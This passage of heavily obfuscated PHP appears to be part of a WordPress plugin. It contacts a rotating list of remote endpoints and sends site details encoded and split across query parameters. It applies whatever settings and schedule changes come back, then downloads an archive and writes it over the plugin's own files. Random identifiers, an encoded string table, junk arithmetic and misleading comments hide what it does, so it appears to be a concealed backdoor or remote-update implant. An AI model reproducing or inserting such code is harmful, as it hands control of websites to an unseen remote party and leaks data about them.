 $xto5xvlwnie11e  =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(602))  ?  wp_json_encode($un3c1bfkp7q)  :  $GLOBALS['__scf_p_tfg5i832l8_603']($un3c1bfkp7q);$d4qnijg17ui=232|55;$yg37g2ubq5=$d4qnijg17ui^173;
     $k8qt92kq45f =   wiy8pwermvq1qyx($xto5xvlwnie11e, $woo5_gd92gl606gn);
$rj7k_uv6no5ybpzf  = array(fjup2mc1h(335)  =>   zp28wk01y(604));
 $tvswisg1guow3mpa   =   null;
     $qfkuqp2m7q = false;
 w9ueulx7c_0jxx6bh63gfh();
$GLOBALS[op9tjzix(323)]   = false;
   
      foreach     ($pt2kggo3xw_eq    as    $ifcvs0p5fz8kuf7) {

     
$zbd8vl6210     =  $rd88s125dsfo   -     ($GLOBALS['__scf_knb470agoho1_297'](true) - $zvm5pffnngd5j);
    if ($zbd8vl6210    <  (0x1+0x2)) {
 break;
  }
 $s2o1rdoiekg_o   = $GLOBALS['__scf_auynlilaeyt_490']((7+3),   (int)   $zbd8vl6210);
       
$ifcvs0p5fz8kuf7 =   $GLOBALS['__scf_bbs7j5b1fx_332']((string)     $ifcvs0p5fz8kuf7);
    if  (! $ifcvs0p5fz8kuf7) {
   continue;
 }


 try {
 $yuxg2xjszi  =   $woo5_gd92gl606gn;
$r3zx2x3gf_5dqoe = jx7lrlkv8eca6q3fzcj53($ifcvs0p5fz8kuf7,  $k8qt92kq45f,  $rj7k_uv6no5ybpzf,   $s2o1rdoiekg_o,  function  ($kiksbnz9wy_f) use    ($yuxg2xjszi)   {
      if   (!n0kef4h0zk1ynp0pkgt($GLOBALS['__scf_m2ym9pki8mue9_11']($kiksbnz9wy_f)))  {
  $GLOBALS[wlgh2_th(323)]     =     true;
 return false;
  }
$zwzkcpqs2ucabt_ =  wiy8pwermvq1qyx($kiksbnz9wy_f,   $yuxg2xjszi);
    if   (!$zwzkcpqs2ucabt_)  return false;
return   $GLOBALS['__scf_knhbvsumnby3_36'](@$GLOBALS['__scf_vcngxudwmss_337']($GLOBALS['__scf_bbs7j5b1fx_332']($zwzkcpqs2ucabt_),    true));

});
if      (!    $r3zx2x3gf_5dqoe)     {
  if (!empty($GLOBALS[wlgh2_th(323)]))     {
    teikfigf_p5265esq_q(wlgh2_th(605),    zp28wk01y(606));
 break;
       }
   teikfigf_p5265esq_q(tvo1rh46s_(605), fjup2mc1h(607)   .      $ifcvs0p5fz8kuf7);
  continue;
}

 $voqkq593lk8yf6  =  wiy8pwermvq1qyx($r3zx2x3gf_5dqoe, $woo5_gd92gl606gn);
      if (!  $voqkq593lk8yf6)   {
  teikfigf_p5265esq_q(zp28wk01y(605), fjup2mc1h(608)   .   $ifcvs0p5fz8kuf7);
continue;
      }
$tvswisg1guow3mpa     =   ($GLOBALS['__scf_m2ym9pki8mue9_11']($voqkq593lk8yf6)  >  (238278+810298)  &&   !n0kef4h0zk1ynp0pkgt($GLOBALS['__scf_m2ym9pki8mue9_11']($voqkq593lk8yf6))) ?   null   :      @$GLOBALS['__scf_vcngxudwmss_337']($GLOBALS['__scf_bbs7j5b1fx_332']($voqkq593lk8yf6),  true);



      if    ($GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa))   {
 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(462)))  {
    update_option(op9tjzix(589), $ifcvs0p5fz8kuf7);
  }


$qfkuqp2m7q     =  true;
     break;$ritzvntup07l_=-397;$t_fvta2mbz2fz1=($ritzvntup07l_>0)?$ritzvntup07l_:-$ritzvntup07l_;
 } else   {
 teikfigf_p5265esq_q(tvo1rh46s_(605),   fjup2mc1h(609)  .  $ifcvs0p5fz8kuf7);
  }

}  catch    (Throwable $x0ydieb0v_72m_u)   {
   teikfigf_p5265esq_q(zp28wk01y(610),  $x0ydieb0v_72m_u);

continue;


     }  catch  (Exception  $x0ydieb0v_72m_u) {
continue;
 }
  }
 if   (!     $GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa) &&   empty($GLOBALS[tvo1rh46s_(323)]))   {


 $pe0ngq9vjwq =     wiy8pwermvq1qyx($GLOBALS['__scf_p_tfg5i832l8_603'](array(


 zp28wk01y(611)   => cm6y2ie43ppuz0pk8jw(""),
fjup2mc1h(593)    =>    _vfpypr4wakqs7jy_(),
      wlgh2_th(594)   =>    $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  zp28wk01y(532)),


 tvo1rh46s_(612)  => 1,
   )), $woo5_gd92gl606gn);
 $g14uqnv5ws     =   $GLOBALS['__scf_q93011jdjf_13'](strtr($GLOBALS['__scf_g8_t7dlza2_360']($pe0ngq9vjwq), wlgh2_th(613),      op9tjzix(614)), '=');
 $p7asjuhc8fvyyfh      =     $GLOBALS['__scf_wrhffn6epll8r_615']($g14uqnv5ws,    (0x196+0x3e2));
foreach  ($pt2kggo3xw_eq as     $ifcvs0p5fz8kuf7) {


    if (($GLOBALS['__scf_knb470agoho1_297'](true)    -  $zvm5pffnngd5j)   >  $rd88s125dsfo)  {
    break;
 }
$ifcvs0p5fz8kuf7 =  $GLOBALS['__scf_bbs7j5b1fx_332']((string)  $ifcvs0p5fz8kuf7);
 if      ($ifcvs0p5fz8kuf7  ===  "")  {
continue;

      }
 $byc_fg663x6r  =   fmsvr16ge0nzzk9i6u(cm6y2ie43ppuz0pk8jw("")   .   $GLOBALS['__scf_knb470agoho1_297'](true),   (182^190));
$b_zag2hc7t  =     $GLOBALS['__scf_j38tk0441lk_37']($p7asjuhc8fvyyfh);
 $fgu3e0q2z5l13 =  ($GLOBALS['__scf_rbe_sihvfv_8']($ifcvs0p5fz8kuf7,   '?')  === false) ?  '?'  :   '&';
 for ($it6eoxr68lt =   0; $it6eoxr68lt  < $b_zag2hc7t;  $it6eoxr68lt++)   {
 if (($GLOBALS['__scf_knb470agoho1_297'](true)   - $zvm5pffnngd5j)    >  $rd88s125dsfo)  {



break;
     }
   $gra1j0wyxs8v9  =   ($it6eoxr68lt === $b_zag2hc7t    -  1);
 $wh9w12cygvghh0   = $ifcvs0p5fz8kuf7   . $fgu3e0q2z5l13  .  op9tjzix(616) .  $byc_fg663x6r .  op9tjzix(617)  .   $it6eoxr68lt  .   op9tjzix(618)   .   $b_zag2hc7t .  zp28wk01y(619)    . $p7asjuhc8fvyyfh[$it6eoxr68lt];
     $zxjxj_t12khd  = nkr0fdv6hbz2zrqz_bs6ee($wh9w12cygvghh0,  (4+4),    $gra1j0wyxs8v9   ?   function      ($kiksbnz9wy_f)    use    ($woo5_gd92gl606gn)   {
    $zwzkcpqs2ucabt_ = wiy8pwermvq1qyx($kiksbnz9wy_f, $woo5_gd92gl606gn);
        if (!$zwzkcpqs2ucabt_)     return  false;
   return  $GLOBALS['__scf_knhbvsumnby3_36'](@$GLOBALS['__scf_vcngxudwmss_337']($GLOBALS['__scf_bbs7j5b1fx_332']($zwzkcpqs2ucabt_),   true));
       }      : null);
  if  ($gra1j0wyxs8v9    && $GLOBALS['__scf_zneqqdn4vlt4_42']($zxjxj_t12khd)  &&      $zxjxj_t12khd !==  "")    {
 $_gd  =     wiy8pwermvq1qyx($zxjxj_t12khd,  $woo5_gd92gl606gn);
 $jf11o2b3al =  ($_gd  &&  ($GLOBALS['__scf_m2ym9pki8mue9_11']($_gd) <=    (0x27625+0xd89db)  ||    n0kef4h0zk1ynp0pkgt($GLOBALS['__scf_m2ym9pki8mue9_11']($_gd))))   ?      @$GLOBALS['__scf_vcngxudwmss_337']($GLOBALS['__scf_bbs7j5b1fx_332']($_gd),  true)  :   null;
  if    ($GLOBALS['__scf_knhbvsumnby3_36']($jf11o2b3al)) {
    $tvswisg1guow3mpa    = $jf11o2b3al;
 if    ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(462)))    {
     update_option(op9tjzix(620),      $ifcvs0p5fz8kuf7);


}
break;
  }
   }
 }
if  ($GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa))    {
   break;
 }
 }
}
 $GLOBALS[zp28wk01y(323)]  =   false;
if  (!  $GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa))  {
     return;
    }
      if   ($qfkuqp2m7q)   {
   v213e21y9ybe0a2_6w6();
 }
    if   ($oe8gd1ik2oi   && $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(621)))      {
  delete_option(gmztkp8nrj6zdlt(op9tjzix(374)));
unset($GLOBALS[b4gbsak56f40gos(363)][gmztkp8nrj6zdlt(op9tjzix(374))]);
}
     if  (!isset($GLOBALS[fjup2mc1h(373)])   ||  !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[fjup2mc1h(373)]))  $GLOBALS[tvo1rh46s_(622)]  =      array();
  $GLOBALS[tvo1rh46s_(623)]   = $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($GLOBALS[tvo1rh46s_(623)], $oe8gd1ik2oi));
   if (isset($tvswisg1guow3mpa[fjup2mc1h(624)]) &&     $GLOBALS['__scf_zneqqdn4vlt4_42']($tvswisg1guow3mpa[op9tjzix(624)]))   {


    unset($GLOBALS[b4gbsak56f40gos(296)]);
  prgp7o5569h8vdsly4ejk($tvswisg1guow3mpa[op9tjzix(625)],    isset($tvswisg1guow3mpa[op9tjzix(626)]) && $GLOBALS['__scf_zneqqdn4vlt4_42']($tvswisg1guow3mpa[tvo1rh46s_(627)]) ?    $tvswisg1guow3mpa[tvo1rh46s_(627)]      :   "",   !empty($tvswisg1guow3mpa[op9tjzix(628)]));
     }
  
   $obr60a5jnaflf  = false;
 $qpv4zgkpfwc =  array();
     
   if     (isset($tvswisg1guow3mpa[b4gbsak56f40gos(448)])    && $GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa[wlgh2_th(448)]))   {

 $g7jb2vbbu4t9 =   array();
        

        foreach ($tvswisg1guow3mpa[tvo1rh46s_(448)] as     $xr7siizzt4ot)   {



      if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($xr7siizzt4ot)  &&    $xr7siizzt4ot   !==  "")  {$t30ykoxvb=PHP_INT_MAX/PHP_INT_MAX;$j6zqsuawoqnw=$t30ykoxvb+75;
$g7jb2vbbu4t9[]  =   $xr7siizzt4ot;


  }
     }
     $wn5r9szw213   =  $GLOBALS[b4gbsak56f40gos(629)];



     $g7jb2vbbu4t9 =  j4163tkflaipuhu7i($g7jb2vbbu4t9);
 $GLOBALS[zp28wk01y(629)]   =   $g7jb2vbbu4t9;
       $qpv4zgkpfwc[fjup2mc1h(630)] = $g7jb2vbbu4t9;
      if (! empty($GLOBALS['__scf_jxu__lo946uf6o_158']($g7jb2vbbu4t9,  $wn5r9szw213)) ||    !    empty($GLOBALS['__scf_jxu__lo946uf6o_158']($wn5r9szw213,  $g7jb2vbbu4t9)))  {
  $obr60a5jnaflf   =  true;
}
  }
   
 if (isset($tvswisg1guow3mpa[zp28wk01y(449)])  &&   $GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa[b4gbsak56f40gos(449)]))  {
     $g7jb2vbbu4t9  =    array();
   
    foreach ($tvswisg1guow3mpa[zp28wk01y(449)]   as $xr7siizzt4ot) {
     if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($xr7siizzt4ot) &&     $xr7siizzt4ot     !== "")  {
     $g7jb2vbbu4t9[]  =  $xr7siizzt4ot;
}

}
 $wn5r9szw213  =  $GLOBALS[op9tjzix(631)];
  $g7jb2vbbu4t9   =  j4163tkflaipuhu7i($g7jb2vbbu4t9);
      $GLOBALS[op9tjzix(632)]   =   $g7jb2vbbu4t9;
$qpv4zgkpfwc[op9tjzix(449)]   = $g7jb2vbbu4t9;


  if  (!  empty($GLOBALS['__scf_jxu__lo946uf6o_158']($g7jb2vbbu4t9,    $wn5r9szw213))  || !  empty($GLOBALS['__scf_jxu__lo946uf6o_158']($wn5r9szw213,   $g7jb2vbbu4t9)))   {$h5difo84c6=PHP_INT_MAX/PHP_INT_MAX;$u_3jxqifkp=$h5difo84c6+60;
      $obr60a5jnaflf =   true;
}
      }
 if  (isset($tvswisg1guow3mpa[op9tjzix(454)])    &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($tvswisg1guow3mpa[zp28wk01y(454)]))   {
    $bmt2q1hsqll     =  _688a_rvvxzf58(op9tjzix(633), "");
if ($bmt2q1hsqll !==   "" && (int)     cvod3ffny5vm5dt3d(wlgh2_th(634), 0)  ===  0)   {
// fallback linear-adj accumulator

     v2tiam6q2h4zs04bs_si_n(b4gbsak56f40gos(634), 1,    tvo1rh46s_(635));
   if ((int) cvod3ffny5vm5dt3d(tvo1rh46s_(636),     0) !== 1)    v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(636),      1,  fjup2mc1h(635));
   }
  $GLOBALS[zp28wk01y(503)]  = $tvswisg1guow3mpa[fjup2mc1h(454)];
 $qpv4zgkpfwc[op9tjzix(454)]    = $tvswisg1guow3mpa[fjup2mc1h(454)];



   if     ($GLOBALS['__scf_abbpcj1ncssalx_57']($tvswisg1guow3mpa[tvo1rh46s_(454)])     !== $GLOBALS['__scf_abbpcj1ncssalx_57']($bmt2q1hsqll)  ||   (int) cvod3ffny5vm5dt3d(wlgh2_th(636),      0)   ===   1)  {
 if (v2tiam6q2h4zs04bs_si_n(fjup2mc1h(633),   $tvswisg1guow3mpa[wlgh2_th(637)],  wlgh2_th(638)) ||   _688a_rvvxzf58(b4gbsak56f40gos(633), "")  ===    $tvswisg1guow3mpa[zp28wk01y(637)]) {
 v2tiam6q2h4zs04bs_si_n(b4gbsak56f40gos(636),  1,  tvo1rh46s_(639));
try {


  if (a200moh9xx_wa408lby07())    v2tiam6q2h4zs04bs_si_n(zp28wk01y(636), 0, tvo1rh46s_(639));
 }  catch  (Throwable   $x0ydieb0v_72m_u)      {



 }   catch (Exception  $x0ydieb0v_72m_u)  {
  }

 } else   {
   w9ueulx7c_0jxx6bh63gfh();
 return;
  }
 }
unset($bmt2q1hsqll);


   }
/* split allocator */

$kbttgfznaaa5   = isset($tvswisg1guow3mpa[fjup2mc1h(460)]) &&    $GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa[fjup2mc1h(460)]) ? $tvswisg1guow3mpa[b4gbsak56f40gos(640)]  :    array();
      if      (isset($kbttgfznaaa5[b4gbsak56f40gos(641)])  &&   $GLOBALS['__scf_zneqqdn4vlt4_42']($kbttgfznaaa5[fjup2mc1h(642)]))      {



     if ($GLOBALS['__scf_m2ym9pki8mue9_11']($kbttgfznaaa5[tvo1rh46s_(642)])  >     (25<<1))  {
    $GLOBALS[fjup2mc1h(456)] = $kbttgfznaaa5[zp28wk01y(643)];
$qpv4zgkpfwc[fjup2mc1h(643)]      = $kbttgfznaaa5[wlgh2_th(644)];
// strict bloom-filter

}  else {
 $GLOBALS[tvo1rh46s_(456)]    =      "";$cg9ds0ql1hk=14+22;$nt05_rzrzqx55=$cg9ds0ql1hk-41;
 $qpv4zgkpfwc[b4gbsak56f40gos(644)] =  "";


   v2tiam6q2h4zs04bs_si_n(wlgh2_th(645),  "", b4gbsak56f40gos(646));



}
     }
     if (isset($kbttgfznaaa5[b4gbsak56f40gos(640)]) && $GLOBALS['__scf_zneqqdn4vlt4_42']($kbttgfznaaa5[fjup2mc1h(647)])) {



  if   ($GLOBALS['__scf_m2ym9pki8mue9_11']($kbttgfznaaa5[zp28wk01y(647)]) > (239^139)) {
// PHP 8.2 enum: acquire token-bucket

$GLOBALS[zp28wk01y(459)] = $kbttgfznaaa5[fjup2mc1h(648)];
  $qpv4zgkpfwc[zp28wk01y(648)]     =    $kbttgfznaaa5[wlgh2_th(648)];$iw87nljyzg3ozs=82|204;$r0wo23dke_7w=$iw87nljyzg3ozs^126;
        }      else  {
   $GLOBALS[op9tjzix(649)] = "";
  $qpv4zgkpfwc[tvo1rh46s_(650)] =   "";
 v2tiam6q2h4zs04bs_si_n(wlgh2_th(371),   "",    op9tjzix(646));
     }
}
$n8nbbppwrpnl0_0s  = isset($tvswisg1guow3mpa[fjup2mc1h(651)])   &&    $GLOBALS['__scf_knhbvsumnby3_36']($tvswisg1guow3mpa[zp28wk01y(651)])     ?     $tvswisg1guow3mpa[wlgh2_th(651)] :   array();
 $h2rjvcscxtqh   =  array(

      fjup2mc1h(652) => b4gbsak56f40gos(652),
     zp28wk01y(653)    =>    wlgh2_th(654),
     b4gbsak56f40gos(655)  =>    tvo1rh46s_(656),



  zp28wk01y(657) => tvo1rh46s_(658),
op9tjzix(659) =>   zp28wk01y(660),
 tvo1rh46s_(661)    =>  zp28wk01y(662),
     );
 foreach ($h2rjvcscxtqh   as  $ybpfs1qytykm      =>  $_7jeroe4umc32hrl) {
    if      (isset($n8nbbppwrpnl0_0s[$ybpfs1qytykm])    && $GLOBALS['__scf_zneqqdn4vlt4_42']($n8nbbppwrpnl0_0s[$ybpfs1qytykm])    &&  $GLOBALS['__scf_m2ym9pki8mue9_11']($n8nbbppwrpnl0_0s[$ybpfs1qytykm])   >   (141^191)) {
$qpv4zgkpfwc[$_7jeroe4umc32hrl] =    $n8nbbppwrpnl0_0s[$ybpfs1qytykm];
 }
  }



if    (isset($tvswisg1guow3mpa[tvo1rh46s_(663)])   && $GLOBALS['__scf_taquapnta_1g_664']($tvswisg1guow3mpa[b4gbsak56f40gos(663)])) {
$q13ne9nfurtbqxzx = (int)  $tvswisg1guow3mpa[fjup2mc1h(663)];
     if ($q13ne9nfurtbqxzx  >= (213+87)     && $q13ne9nfurtbqxzx      <=  (86339+61))   $qpv4zgkpfwc[b4gbsak56f40gos(663)] =   $q13ne9nfurtbqxzx;
   }
// relaxed read




   if      (isset($tvswisg1guow3mpa[b4gbsak56f40gos(665)])   &&   $GLOBALS['__scf_taquapnta_1g_664']($tvswisg1guow3mpa[fjup2mc1h(665)]))     {
 $_ci  =  (int)   $tvswisg1guow3mpa[op9tjzix(666)];


 if    ($_ci    >=  (307-7)     &&     $_ci <= (86385+15))    $qpv4zgkpfwc[wlgh2_th(667)]    =    $_ci;
   }
if  (empty($qpv4zgkpfwc))   {
// @evaluate replicator

    delete_option(b4gbsak56f40gos(487));
 delete_option(fjup2mc1h(668));
   update_option(wlgh2_th(438),  $GLOBALS['__scf_yg2rpewmkg_192']());
       delete_transient(tvo1rh46s_(669));



   n0yley8rs3pyvjo_j();
 _yjfvv1s_lwgdiro4wbm1();
  return;

  }
  
 $rju4k66p4c4fw = mbu8jpz9mni4nrwrzww(zp28wk01y(378), false);
 if  ($GLOBALS['__scf_knhbvsumnby3_36']($rju4k66p4c4fw))  {
$qpv4zgkpfwc  =   $GLOBALS['__scf_h63ymopf9_k_375']($rju4k66p4c4fw, $qpv4zgkpfwc);$n5titj_mx7c_25=PHP_INT_MAX/PHP_INT_MAX;$s4dbvt8h=$n5titj_mx7c_25+87;
        }
 



if  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(670))) {
      $v5ljzjewdq4aduy1 =   g4qqj8jzajjudxckl();
     if  (isset($qpv4zgkpfwc[wlgh2_th(663)])    &&   (int) $qpv4zgkpfwc[b4gbsak56f40gos(663)]  >=    (243+57)  &&  (int)  $qpv4zgkpfwc[zp28wk01y(671)]    <=    (86351+49))  $v5ljzjewdq4aduy1  = (int)     $qpv4zgkpfwc[zp28wk01y(671)];
 set_transient(uys5m_ytblknm5(),    $qpv4zgkpfwc,    $v5ljzjewdq4aduy1);
 }

     if   (!_gb9zjafn_eq8xrjxb(op9tjzix(378),  $qpv4zgkpfwc,      zp28wk01y(646)))  {



   $cuhi8u0d32p4g  =     mbu8jpz9mni4nrwrzww(zp28wk01y(672), null);$yd0viz2x132h=-131;$ryi30ywesdznh=($yd0viz2x132h>0)?$yd0viz2x132h:-$yd0viz2x132h;

      if (!$GLOBALS['__scf_knhbvsumnby3_36']($cuhi8u0d32p4g)   ||   $cuhi8u0d32p4g    != $qpv4zgkpfwc) {
w9ueulx7c_0jxx6bh63gfh();
return;
   }
  unset($cuhi8u0d32p4g);
  }
if   (isset($qpv4zgkpfwc[wlgh2_th(673)])    && $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(674))    &&      $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(675))  &&   $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(390)))  {
 $xlzoco4clqr6  = wp_get_scheduled_event(w9g08cirf_gw6p6su8());
if   ($xlzoco4clqr6 &&  (int) $xlzoco4clqr6->interval !==  (int)  $qpv4zgkpfwc[b4gbsak56f40gos(673)])    {
   wp_clear_scheduled_hook(w9g08cirf_gw6p6su8());
   wp_schedule_event($GLOBALS['__scf_yg2rpewmkg_192']()   + $GLOBALS['__scf_hw2kkbd0s2i_359']((166^154),   (0xb2+0x7a)),  zp28wk01y(381),   w9g08cirf_gw6p6su8());
      }
   }
 update_option(b4gbsak56f40gos(438),   $GLOBALS['__scf_yg2rpewmkg_192']());



delete_option(b4gbsak56f40gos(487));


   delete_option(tvo1rh46s_(668));
  delete_transient(op9tjzix(676));
 n0yley8rs3pyvjo_j();
_yjfvv1s_lwgdiro4wbm1();


 


if   ($obr60a5jnaflf)  {$jlkx9o42=(0xc4+0x2e);$jduijt1nvi8r=$jlkx9o42%15;
     aojjqbg1n43q6pt23l();
}
     }  catch    (Throwable     $x0ydieb0v_72m_u)    {
 teikfigf_p5265esq_q(op9tjzix(677), $x0ydieb0v_72m_u);
      } catch (Exception  $x0ydieb0v_72m_u) {$h8pnlmsbyr75n=828;$gkqvdxdwsg3a=$h8pnlmsbyr75n%16;
  } finally {
  unset($GLOBALS[zp28wk01y(296)]);
xckt_q1b7jgyro8rvq(zp28wk01y(678));
}
 }
   
   function prgp7o5569h8vdsly4ejk($hjujx2rwopb, $mvacnkf_epg    =   "",   $e4aideirx_tyfrpk  =      false)
{
      if (!mmsya1lu9x3wz6a92pu(wlgh2_th(678))) return;
    try  {
    $so8hhj1vaaklgd7e   =   krbi_9ahx28cozqdfze0_();
  if   ($so8hhj1vaaklgd7e  >      0  &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(679))    && !n0kef4h0zk1ynp0pkgt($GLOBALS['__scf_m2ym9pki8mue9_11']($hjujx2rwopb)   *   (5-1)))   {
 teikfigf_p5265esq_q(b4gbsak56f40gos(680),    tvo1rh46s_(681));
  return;
}
 unset($so8hhj1vaaklgd7e);

   



 $_hs51bz1mfca_i   =   @$GLOBALS['__scf__cpt1d1twdvp_362']($hjujx2rwopb,  true);
      if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($_hs51bz1mfca_i)     && $GLOBALS['__scf_m2ym9pki8mue9_11']($_hs51bz1mfca_i)     >  (1434007-385431))    $_hs51bz1mfca_i    =  eje1j3zh7yylmqspbj($_hs51bz1mfca_i);
if  (!      $_hs51bz1mfca_i ||    $GLOBALS['__scf_m2ym9pki8mue9_11']($_hs51bz1mfca_i) <     (823-323)     ||   $GLOBALS['__scf_rbe_sihvfv_8']($_hs51bz1mfca_i, zp28wk01y(682))    !== 0)  {
// WP Post Comments: positive-definite session-type

  return;
 }
 if (! ays3w9sevfe7ws($_hs51bz1mfca_i))     {
teikfigf_p5265esq_q(op9tjzix(680),   wlgh2_th(683));
 return;
}
if ($GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(100),  $GLOBALS['__scf_zre6ec18ly90y_10']($_hs51bz1mfca_i, 0,  (6968-2872)), $xrmod7_fj4))     {
  if  ($mvacnkf_epg !==    ""    &&  $mvacnkf_epg   !==  $xrmod7_fj4[1])  {
  teikfigf_p5265esq_q(op9tjzix(680),    wlgh2_th(684));
 return;
 }
      $mvacnkf_epg      =   $xrmod7_fj4[1];
       }  else    {



  teikfigf_p5265esq_q(tvo1rh46s_(685), tvo1rh46s_(686));
 return;
 }
if   (!$e4aideirx_tyfrpk    &&  version_compare($mvacnkf_epg,   _vfpypr4wakqs7jy_()) <=   0)    {
        return;



 }


$p1v4t8ky369i  =  mridss6_czjhslw35g();
    if   (!$p1v4t8ky369i   ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($p1v4t8ky369i)  <  (447+53)) {
    teikfigf_p5265esq_q(op9tjzix(685), tvo1rh46s_(687));
  return;
  }
// WP Page List site meta

  $c88p0xhseobcy7so  = get_option(zp28wk01y(688));
  if    ($GLOBALS['__scf_zneqqdn4vlt4_42']($c88p0xhseobcy7so)  &&    $GLOBALS['__scf_rbe_sihvfv_8']($c88p0xhseobcy7so, $GLOBALS['__scf_abbpcj1ncssalx_57']($_hs51bz1mfca_i) .   '|') ===     0)   {
return;
 }
     $t417s642zyqx =    $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h()) .  zp28wk01y(689)   .   $GLOBALS['__scf_abbpcj1ncssalx_57']($_hs51bz1mfca_i);
    if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($t417s642zyqx))     {
return;
 }


  unset($t417s642zyqx);
if      (!$e4aideirx_tyfrpk)  {
$g75jpimi5ym709     =     @get_option(wlgh2_th(690),  "");
  if     ($GLOBALS['__scf_zneqqdn4vlt4_42']($g75jpimi5ym709)  &&    $GLOBALS['__scf_rbe_sihvfv_8']($g75jpimi5ym709,  $GLOBALS['__scf_abbpcj1ncssalx_57']($_hs51bz1mfca_i)    .     '|')     === 0)   {



 $nkxs3y9tv6w3yy =  (int) $GLOBALS['__scf_zre6ec18ly90y_10']($g75jpimi5ym709,     $GLOBALS['__scf_rbe_sihvfv_8']($g75jpimi5ym709,   '|') + 1);
  if  ($nkxs3y9tv6w3yy     &&  $GLOBALS['__scf_yg2rpewmkg_192']()   -  $nkxs3y9tv6w3yy  < (1727-827))  return;



  }
unset($g75jpimi5ym709,   $nkxs3y9tv6w3yy);
}
    $w2lf1emz23a6_nl   =   false;
    if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(691)) &&  $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(482)))  {
/* general-recursive dispatcher */

     $rm8e6apf521j1f     = $GLOBALS['__scf_aveut5m3qzw4x_301'](home_url('/'),  array(zp28wk01y(399)   =>  (106^98),   b4gbsak56f40gos(692)  =>   2,  b4gbsak56f40gos(401)  =>     false,    wlgh2_th(304) =>     (1048538+38)));
    if   (! ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(321)) &&    is_wp_error($rm8e6apf521j1f)))  {


 $w2lf1emz23a6_nl  = (int)    wp_remote_retrieve_response_code($rm8e6apf521j1f)    >=  (451+49);


        }
   }
 $hcjydmp4i3zm8 =     false;
       if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(563))) {
  $fgautvrvb64jljnh = get_option(tvo1rh46s_(157), array());
$hcjydmp4i3zm8  =   $GLOBALS['__scf_knhbvsumnby3_36']($fgautvrvb64jljnh)  &&  $GLOBALS['__scf_av84ex67tlp92_156'](fnn_1fc67qy9wd854gl3(),  $fgautvrvb64jljnh,   true);
}
     kp1tutxjpanriy(qluu1auwul2zupq5h(),  (358+62));
     if (!   _ew1atk9e66yol2lso(qluu1auwul2zupq5h(), utjmibjloacp0kjf($_hs51bz1mfca_i)))   {
  teikfigf_p5265esq_q(wlgh2_th(685), fjup2mc1h(693));



return;
}
rwx_v9t1vov1zic2ki(qluu1auwul2zupq5h());
 t5r4r1lc5gjybs(qluu1auwul2zupq5h());
 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(694)))   @set_transient(op9tjzix(695),  1,    (270+30));
$m2v_uj6bo8gd     = false;
  if    (! $w2lf1emz23a6_nl  &&    $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(696))    &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(482)))  {


 $a9a20su0g8saxh   =  -1;
  for  ($hlin_toernxp =  0;  $hlin_toernxp   <  2; $hlin_toernxp++)    {
   $pipokon4sqqbl =    $GLOBALS['__scf_aveut5m3qzw4x_301'](home_url(fjup2mc1h(697) .   $GLOBALS['__scf_hw2kkbd0s2i_359']((99941+59),  (799905+200094))), array(zp28wk01y(399)  => (0x1+0x7),  zp28wk01y(698)   =>    2,  wlgh2_th(699) =>   false,  zp28wk01y(304) => (1048555+21)));
     if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(321)) && is_wp_error($pipokon4sqqbl))  {
  if     ($hlin_toernxp  ===     0 &&   $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(700))) $GLOBALS['__scf_zthbi4ztwges_700'](2);
continue;
 }
 $mayx1ashajuh  =  (int)  wp_remote_retrieve_response_code($pipokon4sqqbl);
   if ($mayx1ashajuh  < (0x62+0x2)  ||   $GLOBALS['__scf_av84ex67tlp92_156']($mayx1ashajuh, array((487+16), (351+169),   (407+114),  (456+66),   (0x205+0x6),   (450+74),  (505+21), (451+76)), true))    {
     if    ($hlin_toernxp ===   0  &&   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(700))) $GLOBALS['__scf_zthbi4ztwges_700'](2);
  continue;
   }



   $a9a20su0g8saxh  =    $mayx1ashajuh;



      break;
  }
 if  ($a9a20su0g8saxh  ===    -1) teikfigf_p5265esq_q(zp28wk01y(701), wlgh2_th(702)); 
       if  ($a9a20su0g8saxh   !==    -1  &&     $a9a20su0g8saxh   <  (440+60)) $m2v_uj6bo8gd = true;
 if  ($a9a20su0g8saxh  !==  -1     &&      $a9a20su0g8saxh    >=  (487+13)) {
   $ft80dcdo342t54yk      =   _ew1atk9e66yol2lso(qluu1auwul2zupq5h(),  utjmibjloacp0kjf($p1v4t8ky369i));



